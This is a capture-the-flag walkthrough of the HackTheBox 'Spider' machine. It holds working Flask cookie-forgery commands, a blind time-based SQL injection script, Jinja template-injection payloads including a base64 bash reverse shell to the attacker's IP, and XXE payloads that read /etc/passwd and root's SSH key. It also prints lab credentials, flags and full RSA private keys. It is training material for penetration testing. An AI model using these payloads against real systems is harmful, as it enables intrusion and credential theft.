Spider

This is a hard difficulty Linux machine from HackTheBox created by infoSecjack and chivato. This machine is really complex with a lot of topic, it's excelent to refine your concept and scripting skills. In this scenario, my IP is 10.10.14.83 and the target’s IP is 10.129.193.169

Gathering Information

The first steps are about getting basic information about the target, by using nmap and searching information from the website.

Local Terminal
ping -c 1 10.129.193.169

Pinging 10.129.193.169 with 32 bytes of data:
Reply from 10.129.193.169: bytes=32 time=181ms TTL=63
Reply from 10.129.193.169: bytes=32 time=174ms TTL=63
Reply from 10.129.193.169: bytes=32 time=184ms TTL=63
Reply from 10.129.193.169: bytes=32 time=199ms TTL=63

Ping statistics for 10.129.193.169:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 174ms, Maximum = 199ms, Average = 184ms

The machine is alive, and by the TTL (close to 64) we can assume and confirm that is definitely a Linux Machine

Local Terminal
nmap -p- --open -T5 -v -n 10.129.193.169 -oN Ports

Completed SYN Stealth Scan at 17:30, 57.82s elapsed (65535 total ports)
Nmap scan report for 10.129.193.169
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
Local Terminal
nmap -sCV -p 22,80 10.129.193.169 -oN WebScan

Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-16 17:33 Pacific SA Standard Time
Nmap scan report for 10.129.193.169
Host is up (0.17s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
|   256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_  256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

By searching "OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 launchpad" in google, we find that our target is a Linux-Bionic machine, is good to know every detail about the target... and the other information to the pocket, is that the port 80 use nginx/1.14.0.

We received an http error, let's add the IP to our /etc/host.

Local Terminal
        #Linux
echo "10.129.193.169 spider.htb" >> /etc/hosts
        #Windows, using Ubuntu
echo "10.129.193.169 spider.htb" >> /mnt/c/Windows/System32/drivers/etc/hosts
Local Terminal
whatweb http://10.129.193.169

http://10.129.193.169 [301 Moved Permanently] Country[RESERVED][ZZ], 
HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.129.193.169], 
RedirectLocation[http://spider.htb/], Title[301 Moved Permanently], nginx[1.14.0]

http://spider.htb/ [200 OK] Bootstrap, Cookies[session], Country[RESERVED][ZZ], 
HTML5, HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], HttpOnly[session], 
IP[10.129.193.169], JQuery[2.2.4], Script, Title[Welcome to Zeta Furniture.], 
X-UA-Compatible[IE=edge], nginx[1.14.0]
Local Terminal
# Received a lot of "Response 502" so I decided to filter.
wfuzz -c -f FuzzFile -t 200 --hc=404,502 -w /shared/wordlists/dirbuster/directory-list-2.3-medium.txt http://spider.htb/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://spider.htb/FUZZ
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000001:   200        255 L    634 W      11273 Ch    "index"
000000051:   200        85 L     169 W      2130 Ch     "register"
000000039:   200        77 L     156 W      1832 Ch     "login"
000000063:   302        3 L      24 W       219 Ch      "main"
000000111:   302        3 L      24 W       219 Ch      "user"
000000124:   302        3 L      24 W       219 Ch      "view"
000000397:   500        4 L      40 W       290 Ch      "cart"
000001211:   302        3 L      24 W       209 Ch      "logout"
000001688:   500        4 L      40 W       290 Ch      "checkout"
000045226:   200        255 L    634 W      11273 Ch    "http://spider.htb/"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 0
Processed Requests: 97234
Filtered Requests: 97224
Requests/sec.: 0

All right, there is a lot of basic information over the table, now we need to explore the website http://spider.htb/.

After exploring a little bit, is just a simple shop without weird directories, let's intercept the current session anywhere.

Local Terminal
echo "eyJjYXJ0X2l0ZW1zIjpbXX0.ZGP8Jw.BrVMT8ucQhhok-dij8L-cci_IWw" | base64 -d

{"cart_items":[]}base64: invalid input

It looks like something to store our cart data, this means that there is a possible escenario where the cookie is connected to some sort of database. Create an account, login, add items to your cart and Intercept your Home-session.

Interesting, after registration, the login process is by using some sort of UUID code... for now it is irrelevant, let's "buy" and then intercept.

Local Terminal
echo "eyJjYXJ0X2l0ZW1zIjpbIjEiLCI1Il0sInV1aWQiOiJmODMzODRmZi1kOGMyLTRiNTEtYjk5OC1iMjIyMTkxNTk2N2IifQ.ZGP-fQ.sl9rzz72G6YVcmbZaFVzi_c6lk8" | base64 -d  | jq

{
  "cart_items": [
    "1",
    "5"
  ],
  "uuid": "f83384ff-d8c2-4b51-b998-b2221915967b"
}

Ok, it works, from the cookie we can retrieve information...

and after a long search, because we can see the username after login, the best option now is to apply a Server Side Template Injection, to see how this happen, we are going to register as {{config}}, if it works, it's because is vulnerable.

From this point, my IP is 10.10.14.103 and the target IP is 10.129.194.26...

It's a lot of information, save the output in a file, in this page that file will be called "Config"

Config Content
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'RATELIMIT_ENABLED': True, 'RATELIMIT_DEFAULTS_PER_METHOD': False, 'RATELIMIT_SWALLOW_ERRORS': False, 'RATELIMIT_HEADERS_ENABLED': False, 'RATELIMIT_STORAGE_URL': 'memory://', 'RATELIMIT_STRATEGY': 'fixed-window', 'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset', 'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining', 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After', 'UPLOAD_FOLDER': 'static/uploads'}>

We found some configuration stuff like a new key to use, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', and by the structure of the configuration, maybe this project is using Flask.

Local Terminal
pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6Ijc1Y2EzN2U3LWNkYzctNDFiMS05M2YzLTJhZjIyMjI3NjAxNiJ9.ZGU8LA.XxU5AbZdIwzmyjsLSXrziNOpPpA'

#It works!
{'cart_items': [], 'uuid': '75ca37e7-cdc7-41b1-93f3-2af222276016'}

Exploit

Well, we receive a positive response by using the flask-unsign command, now we can use that command to create custom sessions by using the secret key.

Local Terminal
flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '75ca37e7-cdc7-41b1-93f3-2af222276016'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'

With the previous command, the output is equal to the cookie when we login as {{config}}, this means that we successfully execute the reverse process.

What if this JSON data lecture is vulnerable to SQL Injection? Just by adding { \' and sleep(10)-- - } at the end before the '}

Local Terminal
flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '75ca37e7-cdc7-41b1-93f3-2af222276016\' and sleep(10)-- -'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'

For agility reasons, I will follow this process using Burpsuite, and spoiler, it works if you the following query: " order by 1 -- -"

Local Terminal
flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '75ca37e7-cdc7-41b1-93f3-2af222276016\' union select \"Test\"-- -'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'

There is no new message por "Test" at the webpage, so we are working with a Blind SQL Injection, so the best method here is to create a python script to get character by character the information that you need.

SQLI.py
#!/usr/bin/python3

from pwn import *
import pdb, string
import requests

def def_handler(sig, frame):
    print("\n\nBreak!\n\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

#Variables
chars = string.ascii_lowercase
url = "http://spider.htb"
cookie = '''{'cart_items': [], 'uuid': '3670359a-54c9-4f6d-8ad6-c4fb8c31906c'''
secretKey = "Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942"

def makeRequest():

    # Progres system, quality of life.
    p1 = log.progress("Brute Force")
    p1.status("Starting brute force process")
    time.sleep(2)

    p2 = log.progress("Data")
    p2.status("Obtaining characters")
    time.sleep(2)

    database = ""
    count = 0

    for char_position in range(1,10):
        for character in chars:
            p1.status(f"Testing with {character}")
            # If True, it will wait 5 seconds, else: Continue testing
            # The {'}'} is just to add a single } by using printf... yes, confusing.
            payload = f"\\' and if(substr(database(),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"

            session_cookie = subprocess.check_output(f'''
            flask-unsign --sign --cookie "{cookie}{payload}" --secret '{secretKey}'
            ''', shell=True).decode().strip()

            # flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '3670359a-54c9-4f6d-8ad6-c4fb8c31906c\' and if(substr(database(),1,1)=\'s\',sleep(5),1)#'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'

            #session_cookie = f'''flask-unsign --sign --cookie "{cookie}{payload}" --secret '{secretKey}' '''
            #print(session_cookie)

            headers = {
                    'Cookie': 'session=%s' % session_cookie
            }

            time_start = time.time()
            r = requests.get(url, headers=headers)
            time_end = time.time()

            # If True, add the character to database
            if time_end - time_start > 5:
                database += character
                p2.status(database)
                count = 0
                break
            
            count += 1

            if count > range(0,len(chars)):
                break

if __name__ == '__main__':

    makeRequest()

And the command works, remember that we could use as payload a list with the most common database names, if you don't want to make a whole brute force script.

Now that we know the name of the database, the only thing that is necessary to change at the script is the payload.

New payload line:
payload = f"\\' and if(substr((select table_name from information_schema.tables where table_schema=\\'shop\\' limit 1,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"

To know about other tables, we have two options, the first one is to change the "limit 0,1" to "limit 1,1" and so on, the other one is to add another for loop [for j in range(1,10)] to make a list with table names.

Result from SQLI.py
# With limit 0,1
[p] Brute Force: Testing with z
[▝] Data: items

# With limit 1,1
[./......] Brute Force: Testing with z
[...\....] Data: messages

# With limit 2,1
[◣] Brute Force: Testing with z
[q] Data: support

# With limit 3,1
[◥] Brute Force: Testing with z
[.......\] Data: users

Table user found! Now we have to do the same thing but with columns, it's the same login:

New payload line:
payload = f"\\' and if(substr((select column_name from information_schema.columns where table_schema=\\'shop\\' and table_name=\\'users\\' limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
Result from SQLI.py
# With limit 0,1
[.....\..] Brute Force: Testing with z
[ ] Data: id

# With limit 1,1
[←] Brute Force: Testing with z
[ ] Data: name

# With limit 2,1
[q] Brute Force: Testing with z
[b] Data: password

# With limit 3,1
[▝] Brute Force: Testing with z
[◐] Data: uuid

Now we know the column name from the table "users". Still, is almost the same logic, first just add some characters to the poll.

New char line:
chars = string.ascii_letters + string.digits + string.punctuation

# New char_position range
for char_position in range(1,50):

From here, is a cycle between changes at the payload, only to select another column and get more information.

New payload line:
payload = f"\\' and if(substr((select name from users limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
# Column: name // limit 0,1
[<] Brute Force: Testing with z
[ ] Data: chiv

payload = f"\\' and if(substr((select password from users limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
# Column: password // limit 0,1
[▅] Brute Force: Testing with z
[.] Data: ch1VW4sHERE7331

payload = f"\\' and if(substr((select uuid from users limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
# Column: uuid // limit 0,1
[o] Brute Force: Testing with z
[∧] Data: 129f60ea-30cf-4065-afb9-6be45ad38b73

Login to the web page with the new credentials.

I tried some stuff but nothing happens, but there is an URL there.

  • browser: spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal

We don't know which characters are banned, our best option now is to get a payload and make change from every error, the payload will be:

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

Payload result after many many many changes:

{%include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("sleep 5")|attr("read")()%}

The command "sleep 5" works so we have a new potential way to execute commands...

Local Terminal
echo "bash -i >& /dev/tcp/10.10.14.103/443 0>&1" | base64; echo
# Replace "sleep 5" with the following command:
# "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDMvNDQzIDA+JjEK | base64 -d | bash"
# Then:
nc -nlvp 443
Payload
{%include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDMvNDQzIDA+JjEK | base64 -d | bash")|attr("read")()%}

And finally, we are at the machine!

Target Terminal [Chiv]
chiv@spider:/var/www/webapp$ whoami
whoami
chiv

chiv@spider:/var/www/webapp$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:60:a9 brd ff:ff:ff:ff:ff:ff
    inet 10.129.194.205/16 brd 10.129.255.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:60a9/64 scope global dynamic mngtmpaddr
       valid_lft 86396sec preferred_lft 14396sec
    inet6 fe80::250:56ff:feb9:60a9/64 scope link
       valid_lft forever preferred_lft forever

Follow the steps from TTY treatment to upgrade your bash

Target Terminal [Chiv]
chiv@spider:/var/www/webapp$ ls
ls
app.py  __pycache__  static  templates  webapp.ini  webapp.sock  wsgi.py

chiv@spider:/var/www/webapp$ cat app.py
cat app.py
Target Terminal [Chiv]
# from: cat app.py
<...>
app.config['UPLOAD_FOLDER'] = 'static/uploads'
app.secret_key = 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
while True:
        try:
                connection = pymysql.connect(host='localhost',
                                         user='chivato',
                                         password='rghorsfruUEFHEfhes83214',
                                         db='shop',
                                         charset='utf8mb4',
                                         cursorclass=pymysql.cursors.DictCursor)
<...>

Look at this, free credentials!

Local Terminal
ssh chiv@10.129.194.205

The authenticity of host '10.129.194.205 (10.129.194.205)' can't be established.
ED25519 key fingerprint is SHA256:rq9z2YnbZs3ZBIGMX0c2Zv5Y5jk/1Zl5LhztpJxelRs.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.194.205' (ED25519) to the list of known hosts.
chiv@10.129.194.205: Permission denied (publickey).

But didn't work... let's get the flag then.

Target Terminal [Chiv]
chiv@spider:/var/www/webapp$ cd /home/chiv
cd /home/chiv

chiv@spider:~$ ls
ls
user.txt

chiv@spider:~$ cat user.txt
cat user.txt
81b7cc441dce823e7e44d31e633e823e

Privileges Escalation

To make thing easier, go to /home/chiv/.ssh and copy the public id_rsa at your local machine, then connect to the target.

Target Terminal [Chiv]
chiv@spider:~/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAmGvQ3kClVX7pOTDIdNTsQ5EzQl+ZLbpRwDgicM4RuWDvDqjV
gjWRBF5B75h/aXjIwUnMXA7XimrfoudDzjynegpGDZL2LHLsVnTkYwDq+o/MnkpS
U7tVc2i/LtGvrobrzNRFX8taAOQ561iH9xnR2pPGwHSF1/rHQqaikl9t85ESdrp9
MI+JsgXF4qwdo/zrgxGdcOa7zq6zlnwYlY2zPZZjHYxrrwbJiD7H2pQNiegBQgu7
BLRlsGclItrZB+p4w6pi0ak8NcoKVdeOLpQq0i58vXUCGqtp9iRA0UGv3xmHakM2
VTZrVb7Q0g5DGbEXcIW9oowFXD2ufo2WPXym0QIDAQABAoIBAH4cNqStOB6U8sKu
6ixAP3toF9FC56o+DoXL7DMJTQDkgubOKlmhmGrU0hk7Q7Awj2nddYh1f0C3THGs
hx2MccU32t5ASg5cx86AyLZhfAn0EIinVZaR2RG0CPrj40ezukWvG/c2eTFjo8hl
Z5m7czY2LqvtvRAGHfe3h6sz6fUrPAkwLTl6FCnXL1kCEUIpKaq5wKS1xDHma3Pc
XVQU8a7FwiqCiRRI+GqJMY0+uq8/iao20jF+aChGu2cAP78KAyQU4NIsKNnewIrq
54dWOw8lwOXp2ndmo3FdOfjm1SMNYtB5yvPR9enbu3wkX94fC/NS9OqLLMzZfYFy
f0EMoUECgYEAxuNi/9sNNJ6UaTlZTsn6Z8X/i4AKVFgUGw4sYzswWPC4oJTDDB62
nKr2o33or9dTVdWki1jI41hJCczx2gRqCGtu0yO3JaCNY5bCA338YymdVkphR9TL
j0UOJ1vHU06RFuD28orK+w0b+gVanQIiz/o57xZ1sVNaNOyJUlsenh8CgYEAxDCO
JjFKq+0+Byaimo8aGjFiPQFMT2fmOO1+/WokN+mmKLyVdh4W22rVV4v0hn937EPW
K1Oc0/hDtSSHSwI/PSN4C2DVyOahrDcPkArfOmBF1ozcR9OBAJME0rnWJm6uB7Lv
hm1Ll0gGJZ/oeBPIssqG1srvUNL/+sPfP3x8PQ8CgYEAqsuqwL2EYaOtH4+4OgkJ
mQRXp5yVQklBOtq5E55IrphKdNxLg6T8fR30IAKISDlJv3RwkZn1Kgcu8dOl/eu8
gu5/haIuLYnq4ZMdmZIfo6ihDPFjCSScirRqqzINwmS+BD+80hyOo3lmhRcD8cFb
0+62wbMv7s/9r2VRp//IE1ECgYAHf7efPBkXkzzgtxhWAgxEXgjcPhV1n4oMOP+2
nfz+ah7gxbyMxD+paV74NrBFB9BEpp8kDtEaxQ2Jefj15AMYyidHgA8L28zoMT6W
CeRYbd+dgMrWr/3pULVJfLLzyx05zBwdrkXKZYVeoMsY8+Ci/NzEjwMwuq/wHNaG
rbJt/wKBgQCTNzPkU50s1Ad0J3kmCtYo/iZN62poifJI5hpuWgLpWSEsD05L09yO
TTppoBhfUJqKnpa6eCPd+4iltr2JT4rwY4EKG0fjWWrMzWaK7GnW45WFtCBCJIf6
IleM+8qziZ8YcxqeKNdpcTZkl2VleDsZpkFGib0NhKaDN9ugOgpRXw==
-----END RSA PRIVATE KEY-----
Local Terminal
vi id_rsa # paste content
chmod 600 id_rsa
ssh -i id_rsa chiv@10.129.194.205

Now we proceed with the scouting.

Target Terminal [Chiv]
find \-perm 4000 2>/dev/null # Nothing relevant from here.
    #<...>
    
lsb_release -a #Nothing relevant
No LSB modules are available. 
Distributor ID: Ubuntu
Description:    Ubuntu 18.04.5 LTS
Release:        18.04
Codename:       bionic
Target Terminal [Chiv]
chiv@spider:~$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3306          127.0.0.1:34488         ESTABLISHED
tcp        0      0 10.129.194.205:52266    10.10.14.103:443        ESTABLISHED
tcp        0    244 10.129.194.205:22       10.10.14.103:53338      ESTABLISHED
tcp        0      0 10.129.194.205:52274    10.10.14.103:443        ESTABLISHED
tcp        0      0 127.0.0.1:34488         127.0.0.1:3306          ESTABLISHED
tcp        0      1 10.129.194.205:41628    1.1.1.1:53              SYN_SENT
tcp6       0      0 :::22                   :::*                    LISTEN

There is something at the port 8080, usually used to host other website.

Target Terminal [Chiv]
curl localhost:8080
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/login">/login</a>.  If not click the link.c

It exist, but isn't redirecting us, so an alternative here is to use a local portforwarding to connect from our machine to that website.

Local Terminal
ssh -i id_rsa chiv@10.129.194.205 -L 80:127.0.0.1:8080
  • Browser: localhost

If you intercept the moment when you login, you send the username, here was "hola", and you send a "version", then receive a new cookie. We know the process to decrypt that cookie.

Local Terminal
flask-unsign --decode --cookie '.eJxNjEFvgyAARv_KwnkHYHYHk14MqKPTBhRQb1qaYUVnqtmsTf_71qRLdnx57_uuwC29A_4VPDXAB5KmoaFLzjumhJ4H1SN91Mmliau2lqGXR2NgJCK8EIki4l1SuzP92yqzmfz6IZNpsA_HWJyC6u7vXEFHuDaMQ-pVod03UTqn2rYKyXMpD5sDctK8VJ2mm6nEENURK9S_v8eeC7y8asKiGrOiiRWvO-rlhE1H93ER_dwqvCAZma-_nq_urJXN6jAYmtUmCRxxeUrF7nu7BbdnMH62wzwBH95-AHCzVak.ZGb8nQ.UYKTrXadL_5aN-GLPGkUJlhb5Zw'

We receive the following output:

{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+aG9sYTwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+', 'points': 0}

It's an XML, a nice clue for a XXE (XML Externar Entity) vulnerability, but first we have to decrypt that section.

Local Terminal
echo "PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+aG9sYTwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+" | base64 -d
<!-- API Version 1.0.0 -->
<root>
    <data>
        <username>hola</username>
        <is_admin>0</is_admin>
    </data>

The output return the API version, this in definitely a modifiable part from the request, so, let's create a payload and use Burpsuite to send it.

Payload
username=%26test%3b&version=1.0.0--><!DOCTYPE foo [ <!ENTITY test SYSTEM "file:///etc/passwd"> ]><!--

Then press forward and voila, you will see the whole /etc/passwd, for some reason, if you try to advance by only using Burpsuite, remember to change the current cookie to the new one.

Now let's try with a new payload

Payload
username=%26test%3b&version=1.0.0--><!DOCTYPE foo [ <!ENTITY test SYSTEM "file:///root/.ssh/id_rsa"> ]><!--

Copy the id_rsa and try to connect again to the target.

root_id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAl/dn2XpJQuIw49CVNdAgdeO5WZ47tZDYZ+7tXD8Q5tfqmyxq
gsgQskHffuzjq8v/q4aBfm6lQSn47G8foq0gQ1DvuZkWFAATvTjliXuE7gLcItPt
iFtbg7RQV/xaTwAmdRfRLb7x63TG6mZDRkvFvGfihWqAnkuJNqoVJclgIXLuwUvk
4d3/Vo/MdEUb02ha7Rw9oHSYKR4pIgv4mDwxGGL+fwo6hFNCZ+YK96wMlJc3vo5Z
EgkdKXy3RnLKvtxjpIlfmAZGu0T+RX1GlmoPDqoDWRbWU+wdbES35vqxH0uM5WUh
vPt5ZDGiKID4Tft57udHxPiSD6YBhLT5ooHfFQIDAQABAoIBAFxB9Acg6Vc0kO/N
krhfyUUo4j7ZBHDfJbI7aFinZPBwRtq75VHOeexud2vMDxAeQfJ1Lyp9q8/a1mdb
sz4EkuCrQ05O9QthXJp0700+8t24WMLAHKW6qN1VW61+46iwc6iEtBZspNwIQjbN
rKwBlmMiQnAyzzDKtNu9+Ca/kZ/cAjLpz3m1NW7X//rcDL8kBGs8RfuHqz/R4R7e
HtCvxuXOFnyo/I+A3j1dPHoc5UH56g1W82NwTCbtCfMfeUsUOByLcg3yEypClO/M
s7pWQ1e4m27/NmU7R/cslc03YFQxow+CIbdd59dBKTZKErdiMd49WiZSxizL7Rdt
WBTACsUCgYEAyU9azupb71YnGQVLpdTOzoTD6ReZlbDGeqz4BD5xzbkDj7MOT5Dy
R335NRBf7EJC0ODXNVSY+4vEXqMTx9eTxpMtsP6u0WvIYwy9C7K/wCz+WXNV0zc0
kcSQH/Yfkd2jADkMxHXkz9THXCChOfEt7IUmNSM2VBKb1xBMkuLXQbMCgYEAwUBS
FhRNrIB3os7qYayE+XrGVdx/KXcKva6zn20YktWYlH2HLfXcFQQdr30cPxxBSriS
BAKYcdFXSUQDPJ1/qE21OvDLmJFu4Xs7ZdGG8o5v8JmF6TLTwi0Vi45g38DJagEl
w42zV3vV7bsAhQsMvd3igLEoDFt34jO9nQv9KBcCgYEAk8eLVAY7AxFtljKK++ui
/Xv9DWnjtz2UFo5Pa14j0O+Wq7C4OrSfBth1Tvz8TcW+ovPLSD0YKODLgOWaKcQZ
mVaF3j64OsgyzHOXe7T2iq788NF4GZuXHcL8Qlo9hqj7dbhrpPUeyWrcBsd1U8G3
AsAj8jItOb6HZHN0owefGX0CgYAICQmgu2VjZ9ARp/Lc7tR0nyNCDLII4ldC/dGg
LmQYLuNyQSnuwktNYGdvlY8oHJ+mYLhJjGYUTXUIqdhMm+vj7p87fSmqBVoL7BjT
Kfwnd761zVxhDuj5KPC9ZcUnaJe3XabZU7oCSDbj9KOX5Ja6ClDRswwMP31jnW0j
64yyLwKBgBkRFxxuGkB9IMmcN19zMWA6akE0/jD6c/51IRx9lyeOmWFPqitNenWK
teYjUjFTLgoi8MSTPAVufpdQV4128HuMbMLVpHYOVWKH/noFetpTE2uFStsNrMD8
vEgG/fMJ9XmHVsPePviZBfrnszhP77sgCXX8Grhx9GlVMUdxeo+j
-----END RSA PRIVATE KEY-----
Local Terminal
chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.129.194.205
Target Terminal [Root]
root@spider:~# cat /root/root.txt
d71168a8e7978faad7f970b914bcde55

Last updated